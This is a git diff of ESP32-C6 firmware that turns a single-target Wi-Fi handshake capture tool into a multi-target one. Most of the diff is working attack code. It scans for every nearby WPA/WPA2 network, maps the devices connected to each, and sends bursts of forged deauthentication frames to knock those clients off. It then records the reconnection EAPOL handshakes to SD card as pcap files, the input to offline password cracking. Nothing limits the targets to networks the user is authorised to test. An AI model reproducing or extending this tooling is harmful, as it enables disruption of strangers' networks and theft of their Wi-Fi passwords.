diff --git a/handshake-capture-c6/HandshakeCapture.cpp b/handshake-capture-c6/HandshakeCapture.cpp index f9e6853..564becc 100644 --- a/handshake-capture-c6/HandshakeCapture.cpp +++ b/handshake-capture-c6/HandshakeCapture.cpp @@ -2,23 +2,43 @@ #include "SD_Card.h" #include "LVGL_Driver.h" #include +#include + +// ─── Internal prototypes ─── static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type); -static void pcapInit(); -static void pcapAppend(const uint8_t* frame, size_t len); -static void saveHandshakeToSD(); +static void pcapInitSlot(CaptureSlot* slot); +static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len); +static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac); +static void sendDeauthBurstAll(); +static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac); -WifiNetwork networks[20]; -WifiNetwork target; +// ─── Shared state ─── + +WifiNetwork networks[MAX_NETWORKS]; +CaptureSlot slots[MAX_SLOTS]; +volatile int pending_save_slots[MAX_SLOTS] = {-1, -1, -1}; bool is_capturing = false; -bool with_deauth = false; -uint8_t eapol_count = 0; -bool beacon_captured = false; -uint8_t* pcap_buffer = nullptr; -size_t pcap_size = 0; -int current_target_index = -1; +int current_channel = 0; +volatile int latest_eapol_count = 0; +CapturePhase capturePhase = PHASE_OBSERVING; -const unsigned long DEAUTH_INTERVAL_MS = 150; +// ─── Phase timing ─── + +#define OBSERVE_DURATION_MS 5000 +#define CAPTURE_TIMEOUT_MS 10000 +#define DEAUTH_BURST_COUNT 5 +#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst +#define MAX_PHASE_RETRIES 2 // total observe→deauth→capture cycles + +static unsigned long phase_timer = 0; +static uint8_t phase_retries = 0; + +// Spinlock for data shared between promiscuous callback (WiFi task) +// and main loop. Critical sections are kept very short. +static portMUX_TYPE capture_mux = portMUX_INITIALIZER_UNLOCKED; + +// ─── Captured BSSID cache (persists across channel hops) ─── #define CAPTURED_BSSID_CACHE_SIZE 32 static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6]; @@ -31,7 +51,7 @@ bool wasBssidCaptured(const uint8_t* bssid) { return false; } -void markBssidCaptured(const uint8_t* bssid) { +static void markBssidCaptured(const uint8_t* bssid) { if (wasBssidCaptured(bssid)) return; if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) { memcpy(captured_bssids[captured_bssid_count], bssid, 6); @@ -42,6 +62,8 @@ void markBssidCaptured(const uint8_t* bssid) { } } +// ─── Init ─── + void handshakeCaptureInit() { WiFi.mode(WIFI_STA); WiFi.disconnect(false, true); @@ -49,139 +71,163 @@ void handshakeCaptureInit() { WiFi.mode(WIFI_AP_STA); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback); + for (int i = 0; i < MAX_SLOTS; i++) { + pending_save_slots[i] = -1; + } } +// ─── Pending save processing (main loop context — safe for SD I/O) ─── + +void handshakeCaptureProcessPending() { + for (int i = 0; i < MAX_SLOTS; i++) { + if (pending_save_slots[i] < 0) continue; + pending_save_slots[i] = -1; + + CaptureSlot* s = &slots[i]; + if (!s->active || s->pcap_size == 0) continue; + + String filename = "/handshake_"; + filename += s->ssid; + filename += "_"; + filename += String(millis() / 1000); + filename += ".pcap"; + filename.replace(" ", "_"); + + markBssidCaptured(s->bssid); + if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) { + networks[s->network_index].handshake_captured = true; + Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED)); + } + + File file = SD.open(filename.c_str(), FILE_WRITE); + if (file) { + if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) { + Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size); + Ui_SetWifiStatus("Saved PCAP!"); + } else { + Serial.println("SD Write Failed!"); + Ui_SetWifiStatus("SD Write Err!"); + } + file.close(); + } else { + Serial.println("SD Open Failed!"); + Ui_SetWifiStatus("SD Open Err!"); + } + + s->pcap_size = 0; + s->active = false; + } + refillSlots(); +} + +// ─── Slot management ─── + +static bool networkInAnySlot(int ni) { + for (int i = 0; i < MAX_SLOTS; i++) { + if (slots[i].active && slots[i].network_index == ni) return true; + } + return false; +} + +void refillSlots() { + if (!is_capturing || current_channel == 0) return; + for (int si = 0; si < MAX_SLOTS; si++) { + if (slots[si].active) continue; + for (int ni = 0; ni < MAX_NETWORKS; ni++) { + if (networks[ni].ssid.isEmpty()) break; + if (networks[ni].handshake_captured || !isCaptureable(ni)) continue; + if (networks[ni].ch != current_channel) continue; + if (networkInAnySlot(ni)) continue; + + CaptureSlot* s = &slots[si]; + memcpy(s->bssid, networks[ni].bssid, 6); + strncpy(s->ssid, networks[ni].ssid.c_str(), 32); + s->ssid[32] = '\0'; + s->network_index = ni; + s->beacon_captured = false; + s->eapol_count = 0; + s->client_count = 0; + s->active = true; + pcapInitSlot(s); + break; + } + } +} + +// ─── Network helpers ─── + bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) { return a.rssi > b.rssi; } bool isCaptureable(int index) { - if (index < 0 || index >= 20 || networks[index].ssid.isEmpty()) return false; + if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false; const String& enc = networks[index].encryption; return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2"; } -void scanNetworksSortedByRSSI() { - memset(networks, 0, sizeof(networks)); - int n = WiFi.scanNetworks(false, true); - if (n == 0) return; - - int limit = min(n, 20); - for (int i = 0; i < limit; i++) { - String ssid = WiFi.SSID(i); - if (ssid.isEmpty()) networks[i].ssid = ""; - else networks[i].ssid = ssid; - memcpy(networks[i].bssid, WiFi.BSSID(i), 6); - networks[i].ch = WiFi.channel(i); - networks[i].rssi = WiFi.RSSI(i); - wifi_auth_mode_t enc = WiFi.encryptionType(i); - if (enc == WIFI_AUTH_OPEN) networks[i].encryption = "Open"; - else if (enc == WIFI_AUTH_WEP) networks[i].encryption = "WEP"; - else if (enc == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA"; - else if (enc == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2"; - else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2"; - else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise"; - else networks[i].encryption = "Unknown"; - networks[i].handshake_captured = wasBssidCaptured(networks[i].bssid); +int getCaptureableCount() { + int n = 0; + for (int i = 0; i < MAX_NETWORKS; i++) { + if (networks[i].ssid.isEmpty()) break; + if (!networks[i].handshake_captured && isCaptureable(i)) n++; } - std::sort(networks, networks + limit, compareRSSI); + return n; } -void setTarget(int index) { - if (index >= 0 && index < 20 && !networks[index].ssid.isEmpty()) { - target = networks[index]; - current_target_index = index; - } -} +int getBestChannel() { + int best_ch = 0; + int best_count = 0; + int ch_counts[15] = {0}; -int getCurrentTargetIndex() { - return current_target_index; -} - -bool isHandshakeCaptured(int index) { - return index >= 0 && index < 20 && networks[index].handshake_captured; -} - -void markHandshakeCaptured(int index) { - if (index >= 0 && index < 20) { - networks[index].handshake_captured = true; - markBssidCaptured(networks[index].bssid); - Ui_SetNetworkColor(index, lv_palette_main(LV_PALETTE_RED)); - } -} - -void startCapture(bool deauth) { - if (target.ssid.isEmpty() || is_capturing) return; - pcapInit(); - beacon_captured = false; - eapol_count = 0; - with_deauth = deauth; - is_capturing = true; - esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE); -} - -void stopCapture() { - if (!is_capturing) return; - if (pcap_size > 0) { - saveHandshakeToSD(); - } - is_capturing = false; - with_deauth = false; -} - -static void saveHandshakeToSD() { - String timestamp = String(millis() / 1000); - String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap"; - filename.replace(" ", "_"); - - File file = SD.open(filename, FILE_WRITE); - if (!file) { - Serial.println("SD write failed"); - return; - } - if (file.write(pcap_buffer, pcap_size) == pcap_size) { - Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)pcap_size); - markHandshakeCaptured(current_target_index); - } - file.close(); - free(pcap_buffer); - pcap_buffer = nullptr; - pcap_size = 0; -} - -static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) { - if (!is_capturing) return; - wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; - uint8_t* payload = pkt->payload; - uint16_t len = pkt->rx_ctrl.sig_len; - if (len < 36) return; - - uint8_t frame_type = payload[0]; - bool is_beacon = frame_type == 0x80; - - if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) { - beacon_captured = true; - pcapAppend(payload, len); - return; - } - - if ((frame_type == 0x08 || frame_type == 0x88) && - (memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) { - uint16_t ethertype = (payload[32] << 8) | payload[33]; - if (ethertype == 0x888E) { - eapol_count++; - pcapAppend(payload, len); - if (eapol_count >= 4) { - stopCapture(); + for (int i = 0; i < MAX_NETWORKS; i++) { + if (networks[i].ssid.isEmpty()) break; + if (networks[i].handshake_captured || !isCaptureable(i)) continue; + int ch = networks[i].ch; + if (ch >= 1 && ch <= 14) { + ch_counts[ch - 1]++; + if (ch_counts[ch - 1] > best_count) { + best_count = ch_counts[ch - 1]; + best_ch = ch; } } } + return best_ch; } -static void pcapInit() { - free(pcap_buffer); - pcap_size = sizeof(pcap_global_header_t); - pcap_buffer = (uint8_t*)malloc(pcap_size); +void scanNetworksSortedByRSSI() { + memset(networks, 0, sizeof(networks)); + int n = WiFi.scanNetworks(false, false); + if (n == 0) return; + + int stored = 0; + for (int i = 0; i < n && stored < MAX_NETWORKS; i++) { + String ssid = WiFi.SSID(i); + if (ssid.isEmpty()) continue; + + networks[stored].ssid = ssid; + memcpy(networks[stored].bssid, WiFi.BSSID(i), 6); + networks[stored].ch = WiFi.channel(i); + networks[stored].rssi = WiFi.RSSI(i); + wifi_auth_mode_t enc = WiFi.encryptionType(i); + if (enc == WIFI_AUTH_OPEN) networks[stored].encryption = "Open"; + else if (enc == WIFI_AUTH_WEP) networks[stored].encryption = "WEP"; + else if (enc == WIFI_AUTH_WPA_PSK) networks[stored].encryption = "WPA"; + else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2"; + else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2"; + else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise"; + else networks[stored].encryption = "Unknown"; + networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid); + + stored++; + } + std::sort(networks, networks + stored, compareRSSI); +} + +// ─── PCAP buffer (fixed-size, no dynamic alloc) ─── + +static void pcapInitSlot(CaptureSlot* slot) { + slot->pcap_size = sizeof(pcap_global_header_t); pcap_global_header_t header = { .magic_number = 0xa1b2c3d4, .version_major = 2, @@ -191,41 +237,271 @@ static void pcapInit() { .snaplen = 65535, .network = 105 }; - memcpy(pcap_buffer, &header, sizeof(header)); + memcpy(slot->pcap_buffer, &header, sizeof(header)); } -static void pcapAppend(const uint8_t* frame, size_t len) { - if (!frame || len == 0) return; +// Must be called inside capture_mux critical section. +static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len) { + if (!frame || len == 0) return false; + size_t needed = sizeof(pcap_record_header_t) + len; + if (slot->pcap_size + needed > PCAP_MAX_SIZE) return false; + + uint32_t ms = millis(); pcap_record_header_t rec = { - .ts_sec = millis() / 1000, - .ts_usec = (millis() % 1000) * 1000, - .incl_len = len, - .orig_len = len + .ts_sec = ms / 1000, + .ts_usec = (ms % 1000) * 1000, + .incl_len = (uint32_t)len, + .orig_len = (uint32_t)len }; - uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len); - if (!new_buf) return; - memcpy(new_buf + pcap_size, &rec, sizeof(rec)); - memcpy(new_buf + pcap_size + sizeof(rec), frame, len); - pcap_buffer = new_buf; - pcap_size += sizeof(rec) + len; + + memcpy(slot->pcap_buffer + slot->pcap_size, &rec, sizeof(rec)); + memcpy(slot->pcap_buffer + slot->pcap_size + sizeof(rec), frame, len); + slot->pcap_size += needed; + return true; } -void sendDeauth() { - if (!is_capturing || !with_deauth) return; - uint8_t deauth_packet[26] = { - 0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x00 - }; - memcpy(&deauth_packet[10], target.bssid, 6); - memcpy(&deauth_packet[16], target.bssid, 6); - esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false); +// ─── Client tracking (called from callback under spinlock) ─── + +static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac) { + if (mac[0] & 0x01) return false; // multicast/broadcast + if (memcmp(mac, slot->bssid, 6) == 0) return false; // the AP itself + + for (uint8_t i = 0; i < slot->client_count; i++) { + if (memcmp(slot->clients[i].mac, mac, 6) == 0) { + slot->clients[i].last_seen = millis(); + return false; + } + } + + if (slot->client_count >= MAX_CLIENTS_PER_SLOT) return false; + + memcpy(slot->clients[slot->client_count].mac, mac, 6); + slot->clients[slot->client_count].last_seen = millis(); + slot->client_count++; + return true; } -void handshakeCaptureLoop() { - static unsigned long last_deauth = 0; - if (is_capturing && with_deauth && millis() - last_deauth > DEAUTH_INTERVAL_MS) { - sendDeauth(); - last_deauth = millis(); +// ─── Deauth: unicast burst to each discovered client ─── + +static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac) { + uint8_t deauth[26] = { + 0xC0, 0x00, // Frame Control: Deauth + 0x00, 0x00, // Duration + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // DA: client + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // SA: AP BSSID + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID: AP + 0x00, 0x00, // Seq Ctrl + 0x07, 0x00 // Reason: Class 3 from non-associated STA + }; + + memcpy(&deauth[4], client_mac, 6); + memcpy(&deauth[10], bssid, 6); + memcpy(&deauth[16], bssid, 6); + + for (int i = 0; i < DEAUTH_BURST_COUNT; i++) { + esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false); + if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY); } } + +static void sendDeauthBurstAll() { + for (int i = 0; i < MAX_SLOTS; i++) { + CaptureSlot* s = &slots[i]; + if (!s->active) continue; + + if (s->client_count > 0) { + Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count); + for (uint8_t c = 0; c < s->client_count; c++) { + sendDeauthToClient(s->bssid, s->clients[c].mac); + } + } else { + Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid); + uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + sendDeauthToClient(s->bssid, bcast); + } + } +} + +// ─── Capture lifecycle ─── + +void startMultiCapture() { + if (is_capturing) return; + + current_channel = getBestChannel(); + if (current_channel == 0) return; + + memset(slots, 0, sizeof(slots)); + int filled = 0; + for (int i = 0; i < MAX_NETWORKS && filled < MAX_SLOTS; i++) { + if (networks[i].ssid.isEmpty()) break; + if (networks[i].handshake_captured || !isCaptureable(i)) continue; + if (networks[i].ch != current_channel) continue; + + CaptureSlot* s = &slots[filled]; + memcpy(s->bssid, networks[i].bssid, 6); + strncpy(s->ssid, networks[i].ssid.c_str(), 32); + s->ssid[32] = '\0'; + s->network_index = i; + s->beacon_captured = false; + s->eapol_count = 0; + s->client_count = 0; + s->active = true; + pcapInitSlot(s); + filled++; + } + + if (filled == 0) return; + + is_capturing = true; + capturePhase = PHASE_OBSERVING; + phase_timer = millis(); + phase_retries = 0; + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); + + Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled); +} + +void stopCapture() { + if (!is_capturing) return; + is_capturing = false; + for (int i = 0; i < MAX_SLOTS; i++) { + if (slots[i].active) { + if (slots[i].eapol_count >= 1) { + pending_save_slots[i] = i; + } else { + slots[i].pcap_size = 0; + slots[i].active = false; + } + } + } + handshakeCaptureProcessPending(); +} + +// ─── State machine tick (called from main loop) ─── + +void handshakeCaptureLoop() { + if (!is_capturing) return; + + unsigned long now = millis(); + + // Phase 2 → Phase 3 (transient burst) → Phase 4 + if (capturePhase == PHASE_OBSERVING) { + if (now - phase_timer >= OBSERVE_DURATION_MS) { + int total = 0; + for (int i = 0; i < MAX_SLOTS; i++) { + if (slots[i].active) { + Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count); + total += slots[i].client_count; + } + } + Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total); + + sendDeauthBurstAll(); + + capturePhase = PHASE_CAPTURING; + phase_timer = now; + phase_retries++; + Serial.println("Phase 4: capturing handshakes..."); + } + } + + // Phase 4 timeout → re-observe or let .ino CHANNEL_TIMEOUT handle final stop + if (capturePhase == PHASE_CAPTURING) { + if (now - phase_timer >= CAPTURE_TIMEOUT_MS) { + if (phase_retries < MAX_PHASE_RETRIES) { + Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n", + phase_retries + 1, MAX_PHASE_RETRIES); + portENTER_CRITICAL(&capture_mux); + for (int i = 0; i < MAX_SLOTS; i++) { + if (slots[i].active) slots[i].client_count = 0; + } + portEXIT_CRITICAL(&capture_mux); + + capturePhase = PHASE_OBSERVING; + phase_timer = now; + } + } + } +} + +// ─── Promiscuous RX callback ─── +// Runs in WiFi task context (high priority). Must be fast. +// No Serial, no malloc/realloc, no file I/O. + +static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) { + (void)type; + if (!is_capturing) return; + + wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; + const uint8_t* payload = pkt->payload; + uint16_t len = pkt->rx_ctrl.sig_len; + if (len < 24) return; + + uint8_t frame_type = payload[0]; + bool is_beacon = (frame_type == 0x80); + bool is_qos = (frame_type == 0x88); + bool is_data = (frame_type == 0x08) || is_qos; + + // Pre-compute EAPOL presence for data frames + bool is_eapol = false; + if (is_data) { + bool to_ds = (payload[1] & 0x01) != 0; + bool from_ds = (payload[1] & 0x02) != 0; + uint16_t mhl = 24; + if (to_ds && from_ds) mhl += 6; // WDS 4-addr + if (is_qos) mhl += 2; // QoS Control + + // EAPOL is always unencrypted — skip protected frames + if (!(payload[1] & 0x40) && len >= mhl + 8) { + // Verify LLC/SNAP header prefix (AA AA 03) before reading ethertype + if (payload[mhl] == 0xAA && + payload[mhl + 1] == 0xAA && + payload[mhl + 2] == 0x03) { + is_eapol = (payload[mhl + 6] == 0x88 && payload[mhl + 7] == 0x8E); + } + } + } + + portENTER_CRITICAL(&capture_mux); + + for (int i = 0; i < MAX_SLOTS; i++) { + CaptureSlot* s = &slots[i]; + if (!s->active || pending_save_slots[i] >= 0) continue; + + // Beacon capture + if (is_beacon && !s->beacon_captured && len >= 36 && + memcmp(&payload[10], s->bssid, 6) == 0) { + s->beacon_captured = true; + pcapAppendSlot(s, payload, len); + continue; + } + + if (!is_data) continue; + + // Check if this data frame involves this slot's BSSID + bool match_addr1 = (memcmp(&payload[4], s->bssid, 6) == 0); + bool match_addr2 = (memcmp(&payload[10], s->bssid, 6) == 0); + if (!match_addr1 && !match_addr2) continue; + + // Phase 2: map client MAC from all data frames (including encrypted) + // FromDS: Addr1=DA(client), Addr2=BSSID | ToDS: Addr1=BSSID, Addr2=SA(client) + if (capturePhase == PHASE_OBSERVING) { + const uint8_t* client_mac = match_addr2 ? &payload[4] : &payload[10]; + addClientToSlot(s, client_mac); + } + + // EAPOL capture (active during all phases) + if (is_eapol) { + s->eapol_count++; + pcapAppendSlot(s, payload, len); + latest_eapol_count = s->eapol_count; + + if (s->eapol_count >= 2) { + pending_save_slots[i] = i; + } + break; + } + } + + portEXIT_CRITICAL(&capture_mux); +} diff --git a/handshake-capture-c6/HandshakeCapture.h b/handshake-capture-c6/HandshakeCapture.h index b97ffb9..ff837a8 100644 --- a/handshake-capture-c6/HandshakeCapture.h +++ b/handshake-capture-c6/HandshakeCapture.h @@ -5,6 +5,11 @@ #include "esp_wifi.h" #include +#define MAX_SLOTS 3 +#define MAX_NETWORKS 20 +#define MAX_CLIENTS_PER_SLOT 8 +#define PCAP_MAX_SIZE 4096 + typedef struct { uint32_t magic_number; uint16_t version_major; @@ -31,19 +36,46 @@ typedef struct { bool handshake_captured; } WifiNetwork; -extern WifiNetwork networks[20]; -extern WifiNetwork target; +typedef struct { + uint8_t mac[6]; + uint32_t last_seen; +} ClientInfo; + +typedef struct { + uint8_t bssid[6]; + char ssid[33]; + int network_index; + bool beacon_captured; + uint8_t eapol_count; + uint8_t pcap_buffer[PCAP_MAX_SIZE]; + size_t pcap_size; + bool active; + ClientInfo clients[MAX_CLIENTS_PER_SLOT]; + uint8_t client_count; +} CaptureSlot; + +// Phase 3 (deauth burst) is transient — no dedicated state needed +enum CapturePhase : uint8_t { + PHASE_OBSERVING, // Phase 2: passive client mapping (RX only) + PHASE_CAPTURING // Phase 4: EAPOL capture (RX only) +}; + +extern WifiNetwork networks[MAX_NETWORKS]; +extern CaptureSlot slots[MAX_SLOTS]; +extern volatile int pending_save_slots[MAX_SLOTS]; +extern volatile int latest_eapol_count; extern bool is_capturing; -extern bool with_deauth; +extern int current_channel; +extern CapturePhase capturePhase; void handshakeCaptureInit(); +void handshakeCaptureProcessPending(); +void refillSlots(); bool wasBssidCaptured(const uint8_t* bssid); -void markBssidCaptured(const uint8_t* bssid); void scanNetworksSortedByRSSI(); -void startCapture(bool deauth); +void startMultiCapture(); void stopCapture(); -void setTarget(int index); -int getCurrentTargetIndex(); -bool isHandshakeCaptured(int index); bool isCaptureable(int index); void handshakeCaptureLoop(); +int getCaptureableCount(); +int getBestChannel(); diff --git a/handshake-capture-c6/WiFi_Scanner.cpp b/handshake-capture-c6/WiFi_Scanner.cpp index 64e6c3d..7fc3c0f 100644 --- a/handshake-capture-c6/WiFi_Scanner.cpp +++ b/handshake-capture-c6/WiFi_Scanner.cpp @@ -16,7 +16,7 @@ void WiFiScanner_Refresh(void) { scanNetworksSortedByRSSI(); int count = 0; - for (int i = 0; i < 20; i++) { + for (int i = 0; i < MAX_NETWORKS; i++) { if (networks[i].ssid.isEmpty()) break; count++; } diff --git a/handshake-capture-c6/handshake-capture-c6.ino b/handshake-capture-c6/handshake-capture-c6.ino index b3b5f60..a9ae993 100644 --- a/handshake-capture-c6/handshake-capture-c6.ino +++ b/handshake-capture-c6/handshake-capture-c6.ino @@ -1,6 +1,6 @@ /* * WiFi Handshake Capture - ESP32-C6 1.47" LCD - * Automatically scans, deauths, and captures handshakes to SD card. + * Multi-target capture: up to 3 networks per channel, deauth all, capture all. * Display: green = not captured, red = captured. */ @@ -18,8 +18,7 @@ enum CaptureState { CaptureState captureState = STATE_SCANNING; unsigned long capture_start_time = 0; -const unsigned long CAPTURE_TIMEOUT_MS = 25000; -const unsigned long DEAUTH_INTERVAL_MS = 150; +const unsigned long CHANNEL_TIMEOUT_MS = 30000; void setup() { Serial.begin(115200); @@ -40,41 +39,63 @@ void setup() { void loop() { Timer_Loop(); + handshakeCaptureProcessPending(); handshakeCaptureLoop(); switch (captureState) { case STATE_SCANNING: { - int idx = -1; - for (int i = 0; i < 20; i++) { - if (networks[i].ssid.isEmpty()) break; - if (!networks[i].handshake_captured && isCaptureable(i)) { - idx = i; - break; - } - } - if (idx >= 0) { - setTarget(idx); - captureState = STATE_CAPTURING; - capture_start_time = millis(); - startCapture(true); - Ui_SetWifiStatus("Capturing..."); - } else { + if (getCaptureableCount() == 0) { Ui_SetWifiStatus("Rescan"); WiFiScanner_Refresh(); delay(500); + break; + } + startMultiCapture(); + if (is_capturing) { + captureState = STATE_CAPTURING; + capture_start_time = millis(); + Ui_SetWifiStatus("Mapping clients"); + } else { + Ui_SetWifiStatus("No targets"); + delay(1000); } break; } case STATE_CAPTURING: { - int idx = getCurrentTargetIndex(); - if (isHandshakeCaptured(idx)) { - Ui_SetWifiStatus("Got handshake"); + bool any_active = false; + for (int i = 0; i < MAX_SLOTS; i++) { + if (slots[i].active) { + any_active = true; + break; + } + } + + // Phase-aware status display + static CapturePhase last_shown_phase = PHASE_CAPTURING; + if (capturePhase != last_shown_phase) { + Ui_SetWifiStatus(capturePhase == PHASE_OBSERVING ? "Mapping clients" : "Capturing..."); + last_shown_phase = capturePhase; + } + + static int last_eapol = -1; + if (capturePhase == PHASE_CAPTURING && latest_eapol_count != last_eapol) { + char buf[64]; + snprintf(buf, sizeof(buf), "EAPOL %d/2", latest_eapol_count); + Ui_SetWifiStatus(buf); + last_eapol = latest_eapol_count; + } + + if (!any_active && getCaptureableCount() == 0) { + Ui_SetWifiStatus("Done"); stopCapture(); captureState = STATE_SCANNING; delay(2000); - } else if (idx >= 0 && millis() - capture_start_time > CAPTURE_TIMEOUT_MS) { - Ui_SetWifiStatus("Timeout"); + } else if (!any_active) { + stopCapture(); + captureState = STATE_SCANNING; + } else if (millis() - capture_start_time > CHANNEL_TIMEOUT_MS) { + Ui_SetWifiStatus("Ch timeout"); stopCapture(); captureState = STATE_SCANNING; delay(2000);